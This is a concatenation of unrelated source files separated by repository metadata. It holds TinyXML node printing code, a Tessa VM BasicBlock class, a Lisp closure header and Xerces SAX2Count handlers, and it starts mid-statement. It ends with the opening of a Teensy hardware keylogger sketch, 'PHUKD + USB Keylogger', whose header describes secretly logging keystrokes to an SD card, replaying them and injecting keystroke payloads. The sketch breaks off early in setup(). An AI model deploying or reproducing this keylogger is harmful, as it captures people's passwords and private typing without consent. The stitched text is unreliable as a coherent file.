= errorId; target->errorDesc = errorDesc; target->tabsize = tabsize; target->errorLocation = errorLocation; target->useMicrosoftBOM = useMicrosoftBOM; TiXmlNode* node = 0; for ( node = firstChild; node; node = node->NextSibling() ) { target->LinkEndChild( node->Clone() ); } } TiXmlNode* TiXmlDocument::Clone() const { TiXmlDocument* clone = new TiXmlDocument(); if ( !clone ) return 0; CopyTo( clone ); return clone; } void TiXmlDocument::Print( FILE* cfile, int depth ) const { assert( cfile ); for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { node->Print( cfile, depth ); fprintf( cfile, "\n" ); } } bool TiXmlDocument::Accept( TiXmlVisitor* visitor ) const { if ( visitor->VisitEnter( *this ) ) { for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { if ( !node->Accept( visitor ) ) break; } } return visitor->VisitExit( *this ); } const TiXmlAttribute* TiXmlAttribute::Next() const { // We are using knowledge of the sentinel. The sentinel // have a value or name. if ( next->value.empty() && next->name.empty() ) return 0; return next; } /* TiXmlAttribute* TiXmlAttribute::Next() { // We are using knowledge of the sentinel. The sentinel // have a value or name. if ( next->value.empty() && next->name.empty() ) return 0; return next; } */ const TiXmlAttribute* TiXmlAttribute::Previous() const { // We are using knowledge of the sentinel. The sentinel // have a value or name. if ( prev->value.empty() && prev->name.empty() ) return 0; return prev; } /* TiXmlAttribute* TiXmlAttribute::Previous() { // We are using knowledge of the sentinel. The sentinel // have a value or name. if ( prev->value.empty() && prev->name.empty() ) return 0; return prev; } */ void TiXmlAttribute::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const { TIXML_STRING n, v; EncodeString( name, &n ); EncodeString( value, &v ); if (value.find ('\"') == TIXML_STRING::npos) { if ( cfile ) { fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() ); } if ( str ) { (*str) += n; (*str) += "=\""; (*str) += v; (*str) += "\""; } } else { if ( cfile ) { fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() ); } if ( str ) { (*str) += n; (*str) += "='"; (*str) += v; (*str) += "'"; } } } int TiXmlAttribute::QueryIntValue( int* ival ) const { if ( TIXML_SSCANF( value.c_str(), "%d", ival ) == 1 ) return TIXML_SUCCESS; return TIXML_WRONG_TYPE; } int TiXmlAttribute::QueryDoubleValue( double* dval ) const { if ( TIXML_SSCANF( value.c_str(), "%lf", dval ) == 1 ) return TIXML_SUCCESS; return TIXML_WRONG_TYPE; } void TiXmlAttribute::SetIntValue( int _value ) { char buf [64]; #if defined(TIXML_SNPRINTF) TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value); #else sprintf (buf, "%d", _value); #endif SetValue (buf); } void TiXmlAttribute::SetDoubleValue( double _value ) { char buf [256]; #if defined(TIXML_SNPRINTF) TIXML_SNPRINTF( buf, sizeof(buf), "%lf", _value); #else sprintf (buf, "%lf", _value); #endif SetValue (buf); } int TiXmlAttribute::IntValue() const { return atoi (value.c_str ()); } double TiXmlAttribute::DoubleValue() const { return atof (value.c_str ()); } TiXmlComment::TiXmlComment( const TiXmlComment& copy ) : TiXmlNode( TiXmlNode::COMMENT ) { copy.CopyTo( this ); } void TiXmlComment::operator=( const TiXmlComment& base ) { Clear(); base.CopyTo( this ); } void TiXmlComment::Print( FILE* cfile, int depth ) const { assert( cfile ); for ( int i=0; i<depth; i++ ) { fprintf( cfile, " " ); } fprintf( cfile, "<!--%s-->", value.c_str() ); } void TiXmlComment::CopyTo( TiXmlComment* target ) const { TiXmlNode::CopyTo( target ); } bool TiXmlComment::Accept( TiXmlVisitor* visitor ) const { return visitor->Visit( *this ); } TiXmlNode* TiXmlComment::Clone() const { TiXmlComment* clone = new TiXmlComment(); if ( !clone ) return 0; CopyTo( clone ); return clone; } void TiXmlText::Print( FILE* cfile, int depth ) const { assert( cfile ); if ( cdata ) { int i; fprintf( cfile, "\n" ); for ( i=0; i<depth; i++ ) { fprintf( cfile, " " ); } fprintf( cfile, "<![CDATA[%s]]>\n", value.c_str() ); // unformatted output } else { TIXML_STRING buffer; EncodeString( value, &buffer ); fprintf( cfile, "%s", buffer.c_str() ); } } void TiXmlText::CopyTo( TiXmlText* target ) const { TiXmlNode::CopyTo( target ); target->cdata = cdata; } bool TiXmlText::Accept( TiXmlVisitor* visitor ) const { return visitor->Visit( *this ); } TiXmlNode* TiXmlText::Clone() const { TiXmlText* clone = 0; clone = new TiXmlText( "" ); if ( !clone ) return 0; CopyTo( clone ); return clone; } TiXmlDeclaration::TiXmlDeclaration( const char * _version, const char * _encoding, const char * _standalone ) : TiXmlNode( TiXmlNode::DECLARATION ) { version = _version; encoding = _encoding; standalone = _standalone; } #ifdef TIXML_USE_STL TiXmlDeclaration::TiXmlDeclaration( const std::string& _version, const std::string& _encoding, const std::string& _standalone ) : TiXmlNode( TiXmlNode::DECLARATION ) { version = _version; encoding = _encoding; standalone = _standalone; } #endif TiXmlDeclaration::TiXmlDeclaration( const TiXmlDeclaration& copy ) : TiXmlNode( TiXmlNode::DECLARATION ) { copy.CopyTo( this ); } void TiXmlDeclaration::operator=( const TiXmlDeclaration& copy ) { Clear(); copy.CopyTo( this ); } void TiXmlDeclaration::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const { if ( cfile ) fprintf( cfile, "<?xml " ); if ( str ) (*str) += "<?xml "; if ( !version.empty() ) { if ( cfile ) fprintf (cfile, "version=\"%s\" ", version.c_str ()); if ( str ) { (*str) += "version=\""; (*str) += version; (*str) += "\" "; } } if ( !encoding.empty() ) { if ( cfile ) fprintf (cfile, "encoding=\"%s\" ", encoding.c_str ()); if ( str ) { (*str) += "encoding=\""; (*str) += encoding; (*str) += "\" "; } } if ( !standalone.empty() ) { if ( cfile ) fprintf (cfile, "standalone=\"%s\" ", standalone.c_str ()); if ( str ) { (*str) += "standalone=\""; (*str) += standalone; (*str) += "\" "; } } if ( cfile ) fprintf( cfile, "?>" ); if ( str ) (*str) += "?>"; } void TiXmlDeclaration::CopyTo( TiXmlDeclaration* target ) const { TiXmlNode::CopyTo( target ); target->version = version; target->encoding = encoding; target->standalone = standalone; } bool TiXmlDeclaration::Accept( TiXmlVisitor* visitor ) const { return visitor->Visit( *this ); } TiXmlNode* TiXmlDeclaration::Clone() const { TiXmlDeclaration* clone = new TiXmlDeclaration(); if ( !clone ) return 0; CopyTo( clone ); return clone; } TiXmlStylesheetReference::TiXmlStylesheetReference( const char * _type, const char * _href ) : TiXmlNode( TiXmlNode::STYLESHEETREFERENCE ) { type = _type; href = _href; } #ifdef TIXML_USE_STL TiXmlStylesheetReference::TiXmlStylesheetReference( const std::string& _type, const std::string& _href ) : TiXmlNode( TiXmlNode::STYLESHEETREFERENCE ) { type = _type; href = _href; } #endif TiXmlStylesheetReference::TiXmlStylesheetReference( const TiXmlStylesheetReference& copy ) : TiXmlNode( TiXmlNode::STYLESHEETREFERENCE ) { copy.CopyTo( this ); } void TiXmlStylesheetReference::operator=( const TiXmlStylesheetReference& copy ) { Clear(); copy.CopyTo( this ); } void TiXmlStylesheetReference::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const { if ( cfile ) fprintf( cfile, "<?xml-stylesheet " ); if ( str ) (*str) += "<?xml-stylesheet "; if ( !type.empty() ) { if ( cfile ) fprintf (cfile, "type=\"%s\" ", type.c_str ()); if ( str ) { (*str) += "type=\""; (*str) += type; (*str) += "\" "; } } if ( !href.empty() ) { if ( cfile ) fprintf (cfile, "href=\"%s\" ", href.c_str ()); if ( str ) { (*str) += "href=\""; (*str) += href; (*str) += "\" "; } } if ( cfile ) fprintf (cfile, "?>"); if ( str ) (*str) += "?>"; } void TiXmlStylesheetReference::CopyTo( TiXmlStylesheetReference* target ) const { TiXmlNode::CopyTo( target ); target->type = type; target->href = href; } bool TiXmlStylesheetReference::Accept( TiXmlVisitor* visitor ) const { return visitor->Visit( *this ); } TiXmlNode* TiXmlStylesheetReference::Clone() const { TiXmlStylesheetReference* clone = new TiXmlStylesheetReference(); if ( !clone ) return 0; CopyTo( clone ); return clone; } void TiXmlUnknown::Print( FILE* cfile, int depth ) const { for ( int i=0; i<depth; i++ ) fprintf( cfile, " " ); fprintf( cfile, "<%s>", value.c_str() ); } void TiXmlUnknown::CopyTo( TiXmlUnknown* target ) const { TiXmlNode::CopyTo( target ); } bool TiXmlUnknown::Accept( TiXmlVisitor* visitor ) const { return visitor->Visit( *this ); } TiXmlNode* TiXmlUnknown::Clone() const { TiXmlUnknown* clone = new TiXmlUnknown(); if ( !clone ) return 0; CopyTo( clone ); return clone; } TiXmlAttributeSet::TiXmlAttributeSet() { sentinel.next = &sentinel; sentinel.prev = &sentinel; } TiXmlAttributeSet::~TiXmlAttributeSet() { assert( sentinel.next == &sentinel ); assert( sentinel.prev == &sentinel ); } void TiXmlAttributeSet::Add( TiXmlAttribute* addMe ) { #ifdef TIXML_USE_STL assert( !Find( TIXML_STRING( addMe->Name() ) ) ); // Shouldn't be multiply adding to the set. #else assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. #endif addMe->next = &sentinel; addMe->prev = sentinel.prev; sentinel.prev->next = addMe; sentinel.prev = addMe; } void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe ) { TiXmlAttribute* node; for( node = sentinel.next; node != &sentinel; node = node->next ) { if ( node == removeMe ) { node->prev->next = node->next; node->next->prev = node->prev; node->next = 0; node->prev = 0; return; } } assert( 0 ); // we tried to remove a non-linked attribute. } #ifdef TIXML_USE_STL const TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) const { for( const TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { if ( node->name == name ) return node; } return 0; } /* TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) { for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { if ( node->name == name ) return node; } return 0; } */ #endif const TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) const { for( const TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { if ( strcmp( node->name.c_str(), name ) == 0 ) return node; } return 0; } /* TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) { for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { if ( strcmp( node->name.c_str(), name ) == 0 ) return node; } return 0; } */ #ifdef TIXML_USE_STL std::istream& operator>> (std::istream & in, TiXmlNode & base) { TIXML_STRING tag; tag.reserve( 8 * 1000 ); base.StreamIn( &in, &tag ); base.Parse( tag.c_str(), 0, TIXML_DEFAULT_ENCODING ); return in; } #endif #ifdef TIXML_USE_STL std::ostream& operator<< (std::ostream & out, const TiXmlNode & base) { TiXmlPrinter printer; printer.SetStreamPrinting(); base.Accept( &printer ); out << printer.Str(); return out; } std::string& operator<< (std::string& out, const TiXmlNode& base ) { TiXmlPrinter printer; printer.SetStreamPrinting(); base.Accept( &printer ); out.append( printer.Str() ); return out; } #endif TiXmlHandle TiXmlHandle::FirstChild() const { if ( node ) { TiXmlNode* child = node->FirstChild(); if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::FirstChild( const char * value ) const { if ( node ) { TiXmlNode* child = node->FirstChild( value ); if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::FirstChildElement() const { if ( node ) { TiXmlElement* child = node->FirstChildElement(); if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::FirstChildElement( const char * value ) const { if ( node ) { TiXmlElement* child = node->FirstChildElement( value ); if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::Child( int count ) const { if ( node ) { int i; TiXmlNode* child = node->FirstChild(); for ( i=0; child && i<count; child = child->NextSibling(), ++i ) { // nothing } if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::Child( const char* value, int count ) const { if ( node ) { int i; TiXmlNode* child = node->FirstChild( value ); for ( i=0; child && i<count; child = child->NextSibling( value ), ++i ) { // nothing } if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::ChildElement( int count ) const { if ( node ) { int i; TiXmlElement* child = node->FirstChildElement(); for ( i=0; child && i<count; child = child->NextSiblingElement(), ++i ) { // nothing } if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } TiXmlHandle TiXmlHandle::ChildElement( const char* value, int count ) const { if ( node ) { int i; TiXmlElement* child = node->FirstChildElement( value ); for ( i=0; child && i<count; child = child->NextSiblingElement( value ), ++i ) { // nothing } if ( child ) return TiXmlHandle( child ); } return TiXmlHandle( 0 ); } bool TiXmlPrinter::VisitEnter( const TiXmlDocument& ) { return true; } bool TiXmlPrinter::VisitExit( const TiXmlDocument& ) { return true; } bool TiXmlPrinter::VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ) { DoIndent(); buffer += "<"; buffer += element.Value(); for( const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next() ) { buffer += " "; attrib->Print( 0, 0, &buffer ); } if ( !element.FirstChild() ) { buffer += " />"; DoLineBreak(); } else { buffer += ">"; if ( element.FirstChild()->ToText() && element.LastChild() == element.FirstChild() && element.FirstChild()->ToText()->CDATA() == false ) { simpleTextPrint = true; // no DoLineBreak()! } else { DoLineBreak(); } } ++depth; return true; } bool TiXmlPrinter::VisitExit( const TiXmlElement& element ) { --depth; if ( !element.FirstChild() ) { // nothing. } else { if ( simpleTextPrint ) { simpleTextPrint = false; } else { DoIndent(); } buffer += "</"; buffer += element.Value(); buffer += ">"; DoLineBreak(); } return true; } bool TiXmlPrinter::Visit( const TiXmlText& text ) { if ( text.CDATA() ) { DoIndent(); buffer += "<![CDATA["; buffer += text.Value(); buffer += "]]>"; DoLineBreak(); } else if ( simpleTextPrint ) { TIXML_STRING str; TiXmlBase::EncodeString( text.ValueTStr(), &str ); buffer += str; } else { DoIndent(); TIXML_STRING str; TiXmlBase::EncodeString( text.ValueTStr(), &str ); buffer += str; DoLineBreak(); } return true; } bool TiXmlPrinter::Visit( const TiXmlDeclaration& declaration ) { DoIndent(); declaration.Print( 0, 0, &buffer ); DoLineBreak(); return true; } bool TiXmlPrinter::Visit( const TiXmlComment& comment ) { DoIndent(); buffer += "<!--"; buffer += comment.Value(); buffer += "-->"; DoLineBreak(); return true; } bool TiXmlPrinter::Visit( const TiXmlUnknown& unknown ) { DoIndent(); buffer += "<"; buffer += unknown.Value(); buffer += ">"; DoLineBreak(); return true; } bool TiXmlPrinter::Visit( const TiXmlStylesheetReference& stylesheet ) { DoIndent(); stylesheet.Print( 0, 0, &buffer ); DoLineBreak(); return true; }
[ [ [ 1, 1969 ] ] ]
4a57d4d88bd591c9339e74bd3c7561981c7590b1
155c4955c117f0a37bb9481cd1456b392d0e9a77
/Tessa/TessaVM/BasicBlock.cpp
be71965793facf754a2d507ae9df0ff38ebb3031
[]
no_license
zwetan/tessa
605720899aa2eb4207632700abe7e2ca157d19e6
940404b580054c47f3ced7cf8995794901cf0aaa
refs/heads/master
2021-01-19T19:54:00.236268
2011-08-31T00:18:24
2011-08-31T00:18:24
null
0
0
null
null
null
null
UTF-8
C++
false
false
8,455
cpp
#include "TessaVM.h" namespace TessaVM { BasicBlock::BasicBlock() { TessaAssert(false); } BasicBlock::BasicBlock(avmplus::AvmCore* core, int basicBlockNumber) { this->_core = core; this->_gc = core->gc; this->_terminatesWithReturn = false; _instructions = new (_gc) List<TessaInstruction*, avmplus::LIST_GCObjects>(_gc); _phiInstructions = new (_gc) List<PhiInstruction*, avmplus::LIST_GCObjects>(_gc); _parameterInstructions = new (_gc) List<ParameterInstruction*, avmplus::LIST_GCObjects>(_gc); _predecessors = new (_gc) List<TessaInstruction*, avmplus::LIST_GCObjects>(_gc);; this->_basicBlockId = basicBlockNumber; } void BasicBlock::addInstruction(TessaInstruction* tessaInstruction) { _instructions->add(tessaInstruction); tessaInstruction->setInBasicBlock(this); if (tessaInstruction->isParameter()) { _parameterInstructions->add((ParameterInstruction*)tessaInstruction); } } void BasicBlock::addInstructionBefore(TessaInstruction* instruction, TessaInstruction* insertBefore) { TessaAssert(_instructions->contains(insertBefore)); int index = _instructions->indexOf(insertBefore); _instructions->insert(index, instruction); instruction->setInBasicBlock(this); } void BasicBlock::addInstructionAfter(TessaInstruction* instruction, TessaInstruction* insertAfter) { TessaAssertMessage(_instructions->contains(insertAfter), "Trying to add instruction after, but insertAfter does not exist"); int index = _instructions->indexOf(insertAfter); _instructions->insert(index + 1, instruction); instruction->setInBasicBlock(this); } void BasicBlock::removeInstruction(TessaInstruction* instruction) { TessaAssert(_instructions->contains(instruction)); int index = _instructions->indexOf(instruction); _instructions->removeAt(index); if (instruction->isParameter()) { ParameterInstruction* paramInstruction = reinterpret_cast<ParameterInstruction*>(instruction); TessaAssert(_parameterInstructions->contains(paramInstruction)); int paramIndex = _parameterInstructions->indexOf(paramInstruction); _parameterInstructions->removeAt(paramIndex); } if (instruction->isPhi()) { PhiInstruction* phiInstruction = reinterpret_cast<PhiInstruction*>(instruction); TessaAssert(_phiInstructions->contains(phiInstruction)); int phiIndex = _phiInstructions->indexOf(phiInstruction); _phiInstructions->removeAt(phiIndex); } } void BasicBlock::addPhiInstruction(PhiInstruction* phiInstruction) { _instructions->insert(0, phiInstruction); _phiInstructions->add(phiInstruction); phiInstruction->setInBasicBlock(this); } bool BasicBlock::isLoopHeader() { return _loopHeader; } void BasicBlock::setLoopHeader(bool loopHeader) { TessaAssert(!isSwitchHeader()); this->_loopHeader = loopHeader; } bool BasicBlock::isSwitchHeader() { return _switchHeader; } void BasicBlock::setSwitchHeader(bool switchHeader) { TessaAssert(!isLoopHeader()); this->_switchHeader = switchHeader; } void BasicBlock::printResults() { printf("\n\nBB%d:\n", getBasicBlockId()); /* printf("\n\nBB%d:\n Successors:", getBasicBlockId()); std::string successorList; char buffer[32]; List<BasicBlock*, avmplus::LIST_GCObjects>* successors = this->getSuccessors(); for (uint32_t i = 0; i < successors->size(); i++) { successorList += "BB"; int successorId = successors->get(i)->getBasicBlockId(); _itoa(successorId, buffer, 10); successorList += buffer; successorList += " "; } printf("%s\n", successorList.c_str()); std::string predecessorList; List<BasicBlock*, avmplus::LIST_GCObjects>* predecessors = this->getPredecessors(); for (uint32_t i = 0; i < predecessors->size(); i++) { predecessorList += "BB"; int predecessorId = predecessors->get(i)->getBasicBlockId(); _itoa(predecessorId, buffer, 10); predecessorList += buffer; predecessorList += " "; } printf(" Predecessors: %s\n", predecessorList.c_str()); */ for (uint32_t i = 0; i < _instructions->size(); i++) { TessaInstruction* currentInstruction = _instructions->get(i); currentInstruction->print(); } } void BasicBlock::addPredecessor(TessaInstruction* predecessorTerminator) { TessaAssert(predecessorTerminator->isBlockTerminator() || predecessorTerminator->isCase()); _predecessors->add(predecessorTerminator); } void BasicBlock::removePredecessor(TessaInstruction* predecessorInstruction) { BasicBlock* predecessorBlock = predecessorInstruction->getInBasicBlock(); TessaAssert(isPredecessor(predecessorBlock)); uint32_t index = _predecessors->indexOf(predecessorInstruction); _predecessors->removeAt(index); } bool BasicBlock::isSuccessor(BasicBlock* successor) { return this->getSuccessors()->contains(successor); } bool BasicBlock::isPredecessor(BasicBlock* predecessor) { return this->getPredecessors()->contains(predecessor); } int BasicBlock::getBasicBlockId() { return this->_basicBlockId; } List<TessaInstruction*, avmplus::LIST_GCObjects>* BasicBlock::getInstructions() { return _instructions; } TessaInstruction* BasicBlock::getLastInstruction() { int size = _instructions->size(); TessaAssert(size > 0); return _instructions->get(size - 1); } int BasicBlock::getInstructionIndex(TessaInstruction* instruction) { for (uint32_t i = 0; i < _instructions->size(); i++) { TessaInstruction* currentInstruction = _instructions->get(i); if (instruction == currentInstruction) { return i; } } AvmAssertMsg(false, "Instruction does not exist"); return 0; } List<PhiInstruction*, avmplus::LIST_GCObjects>* BasicBlock::getPhiInstructions() { return _phiInstructions; } List<ParameterInstruction*, avmplus::LIST_GCObjects>* BasicBlock::getParameterInstructions() { return _parameterInstructions; } List<BasicBlock*, avmplus::LIST_GCObjects>* BasicBlock::getSuccessors() { List<BasicBlock*, avmplus::LIST_GCObjects>* successors = new (_gc) List<BasicBlock*, LIST_GCObjects>(_gc); if (_instructions->size() == 0) { return successors; } TessaInstruction* lastInstruction = this->getLastInstruction(); if (lastInstruction->isUnconditionalBranch()) { UnconditionalBranchInstruction* unconditionalBranch = static_cast<UnconditionalBranchInstruction*>(lastInstruction); successors->add(unconditionalBranch->getBranchTarget()); } else if (lastInstruction->isConditionalBranch()) { ConditionalBranchInstruction* conditionalBranch = static_cast<ConditionalBranchInstruction*>(lastInstruction); successors->add(conditionalBranch->getTrueTarget()); successors->add(conditionalBranch->getFalseTarget()); } else if (lastInstruction->isSwitch()) { SwitchInstruction* switchInstruction = static_cast<SwitchInstruction*>(lastInstruction); List<CaseInstruction*, LIST_GCObjects>* caseStatements = switchInstruction->getCaseInstructions(); TessaAssert(switchInstruction->numberOfCases() == caseStatements->size()); for (int i = 0; i < switchInstruction->numberOfCases(); i++) { CaseInstruction* caseInstruction = caseStatements->get(i); successors->add(caseInstruction->getTargetBlock()); } } else { // The last instruction can be a parameter if there is only one basic block in the whole method TessaAssert(lastInstruction->isReturn() || lastInstruction->isParameter()); } return successors; } List<BasicBlock*, avmplus::LIST_GCObjects>* BasicBlock::getPredecessors() { List<BasicBlock*, avmplus::LIST_GCObjects>* predecessorsAsBasicBlocks = new (_gc) List<BasicBlock*, avmplus::LIST_GCObjects>(_gc); for (uint32_t i = 0; i < _predecessors->size(); i++) { predecessorsAsBasicBlocks->add(_predecessors->get(i)->getInBasicBlock()); } return predecessorsAsBasicBlocks; } StateVector* BasicBlock::getEndState() { return _endStateVector; } StateVector* BasicBlock::getBeginState() { return _beginStateVector; } void BasicBlock::setBeginState(StateVector* stateVector) { _beginStateVector = stateVector; } void BasicBlock::setEndState(StateVector* stateVector) { _endStateVector = stateVector; } void BasicBlock::cleanInstructions() { this->_instructions = new (_gc) List<TessaInstruction*, LIST_GCObjects>(_gc); } }
[ [ [ 1, 239 ] ] ]
6777d6674dd1901001684e467011178b5a7be59d
23df069203762da415d03da6f61cdf340e84307b
/2009-2010/winter10/csci245/archive/lambda/closure.h
1b27f3cd8442c2cc0cb0f063e4f51c8c576348b2
[]
no_license
grablisting/ray
9356e80e638f3a20c5280b8dba4b6577044d4c6e
967f8aebe2107c8052c18200872f9389e87d19c1
refs/heads/master
2016-09-10T19:51:35.133301
2010-09-29T13:37:26
2010-09-29T13:37:26
null
0
0
null
null
null
null
UTF-8
C++
false
false
383
h
#ifndef CLOSURE_H #define CLOSURE_H #include <iostream> #include "sexpr.h" #include "environment.h" using namespace std; class Closure : public Sexpr { public: Closure(Sexpr* p, Sexpr* b, Environment* env); Sexpr* apply(Sexpr* actualparameters); void print(ostream& out); private: Sexpr* formalparameters; Sexpr* body; Environment* storedenv; }; #endif
[ "Bobbbbommmbb@Bobbbbommmbb-PC.(none)" ]
[ [ [ 1, 21 ] ] ]
859e1dadebe610c37ce36720ff73d930ee163b98
b14d5833a79518a40d302e5eb40ed5da193cf1b2
/cpp/extern/xercesc++/2.6.0/samples/SAX2Count/SAX2CountHandlers.cpp
78b73d30f3c7f9eb9b7497a6400cb7abb357b854
[ "Apache-2.0" ]
permissive
andyburke/bitflood
dcb3fb62dad7fa5e20cf9f1d58aaa94be30e82bf
fca6c0b635d07da4e6c7fbfa032921c827a981d6
refs/heads/master
2016-09-10T02:14:35.564530
2011-11-17T09:51:49
2011-11-17T09:51:49
2,794,411
1
0
null
null
null
null
UTF-8
C++
false
false
4,335
cpp
/* * Copyright 1999-2000,2004 The Apache Software Foundation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * $Log: SAX2CountHandlers.cpp,v $ * Revision 1.6 2004/09/08 13:55:33 peiyongz * Apache License Version 2.0 * * Revision 1.5 2003/05/30 09:36:36 gareth * Use new macros for iostream.h and std:: issues. * * Revision 1.4 2002/02/01 22:38:52 peiyongz * sane_include * * Revision 1.3 2001/08/02 17:10:29 tng * Allow DOMCount/SAXCount/IDOMCount/SAX2Count to take a file that has a list of xml file as input. * * Revision 1.2 2000/08/09 22:40:15 jpolast * updates for changes to sax2 core functionality. * * Revision 1.1 2000/08/08 17:17:20 jpolast * initial checkin of SAX2Count * * */ // --------------------------------------------------------------------------- // Includes // --------------------------------------------------------------------------- #include "SAX2Count.hpp" #include <xercesc/sax2/Attributes.hpp> #include <xercesc/sax/SAXParseException.hpp> #include <xercesc/sax/SAXException.hpp> // --------------------------------------------------------------------------- // SAX2CountHandlers: Constructors and Destructor // --------------------------------------------------------------------------- SAX2CountHandlers::SAX2CountHandlers() : fElementCount(0) , fAttrCount(0) , fCharacterCount(0) , fSpaceCount(0) , fSawErrors(false) { } SAX2CountHandlers::~SAX2CountHandlers() { } // --------------------------------------------------------------------------- // SAX2CountHandlers: Implementation of the SAX DocumentHandler interface // --------------------------------------------------------------------------- void SAX2CountHandlers::startElement(const XMLCh* const uri , const XMLCh* const localname , const XMLCh* const qname , const Attributes& attrs) { fElementCount++; fAttrCount += attrs.getLength(); } void SAX2CountHandlers::characters( const XMLCh* const chars , const unsigned int length) { fCharacterCount += length; } void SAX2CountHandlers::ignorableWhitespace( const XMLCh* const chars , const unsigned int length) { fSpaceCount += length; } void SAX2CountHandlers::resetDocument() { fAttrCount = 0; fCharacterCount = 0; fElementCount = 0; fSpaceCount = 0; } // --------------------------------------------------------------------------- // SAX2CountHandlers: Overrides of the SAX ErrorHandler interface // --------------------------------------------------------------------------- void SAX2CountHandlers::error(const SAXParseException& e) { fSawErrors = true; XERCES_STD_QUALIFIER cerr << "\nError at file " << StrX(e.getSystemId()) << ", line " << e.getLineNumber() << ", char " << e.getColumnNumber() << "\n Message: " << StrX(e.getMessage()) << XERCES_STD_QUALIFIER endl; } void SAX2CountHandlers::fatalError(const SAXParseException& e) { fSawErrors = true; XERCES_STD_QUALIFIER cerr << "\nFatal Error at file " << StrX(e.getSystemId()) << ", line " << e.getLineNumber() << ", char " << e.getColumnNumber() << "\n Message: " << StrX(e.getMessage()) << XERCES_STD_QUALIFIER endl; } void SAX2CountHandlers::warning(const SAXParseException& e) { XERCES_STD_QUALIFIER cerr << "\nWarning at file " << StrX(e.getSystemId()) << ", line " << e.getLineNumber() << ", char " << e.getColumnNumber() << "\n Message: " << StrX(e.getMessage()) << XERCES_STD_QUALIFIER endl; } void SAX2CountHandlers::resetErrors() { fSawErrors = false; }
[ [ [ 1, 132 ] ] ]
94e8e01a26e3e2409798703f7ff8f32f2b7846f5
dc5bc759c7a172a4ceca1aa4eaedf33f6a6e2863
/TeensyUSBKeylogger/TeensyUSBKeylogger.ino
6eae0291116375afb7d00a2954671c1b8a209469
[]
no_license
thematthewknot/sketchbook
6278b0ede945ae67197c6200bf80937a766dff2a
e98e16d069b0219e67039ccec3884a3561f700d8
refs/heads/master
2016-09-01T18:41:26.506950
2011-12-22T03:48:22
2011-12-22T03:48:22
3,023,481
2
1
null
null
null
null
UTF-8
C++
false
false
20,136
ino
/* Irongeek's PHUKD + USB Keylogger version 0.03 Not only can you log keys, you can change payloads based on them. This code is experimental, expect bugs and please send me fixes. It has four keystroke based payloads: 1. Ctrl+Alt+L types out the keylog 2. Ctrl+Alt+Y shows the last few keys, for debugging things like payload 3 3. Typing "Adrian" in UPPER or lower case makes for a nice addition 4. Ctrl+Alt+D clear keylog 5. F12 enables LOL speak. It also logs to the microSD card. Hey, it's experimental, expect bugs and please send me fixes. Sections of the code have been based on others' projects, I try to credit and link to them. Hope I did not miss anyone. To learn more about Teensyduino see: http://www.pjrc.com/teensy/teensyduino.html Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID Change log: 0.00: Released to public 0.01: * Holding mod keys did not always work for multi select. Got it working by taking out the key replay code, and made held keys function better in the process. Also, it made the code simpler to read as I got rid of a bunch of unneeded cruft code. :) * Nulls were getting into the logs, so I made an unhandled keycode exception. *Changed log brackets from <> to []. 0.02: * Fixed bug in logging unknown keys. * Added logging for keys [KEY_TAB] and [KEY_NON_US_NUM]. * Ctrl+Alt+S toggles the typing of raw bytes as they come in the serial connection. * Converted ints to bytes in many places. I think their was a type casting problem causing weird issues. * Fixed a buffer overflow issue caused by IncomingHIDReportIndex going over 18. * Many other tiny changes. 0.03: * Made sure it worked with Arduino 1.0. * Switched to using the SD library that comes with Teensyduino (from the comments, it looks like it's a wrapper by SparkFun Electronics around William Greiman's work). * Changed the variables "file" to "logfile" and "filename" to "logfilename" to be less ambiguous. */ #include <phukdlib.h> #include <SD.h> const byte chipSelect = 0; //This is for the SD library on the Teensy File logfile; char logfilename[] = "USBKLOG.TXT"; byte ledPin = 11; // LED connected to digital pin 11 HardwareSerial Uart = HardwareSerial(); byte IncomingHIDReportIndex = 0; byte modkeys = 0; byte keycode1 = 0; byte keycode2 = 0; byte keycode3 = 0; byte keycode4 = 0; byte keycode5 = 0; byte keycode6 = 0; byte incomingByte; byte keyarr[19]; String lasttenletters="ABCDEFGHIJ";//I just filled it with these letter to help me debug // The setup() method runs once, when the sketch starts void setup() { delay(1000); //Avoid seeing banner Uart.begin(58000); keyarr[17]=0; keyarr[18]=0; pinMode(10, OUTPUT); //Apparently, this 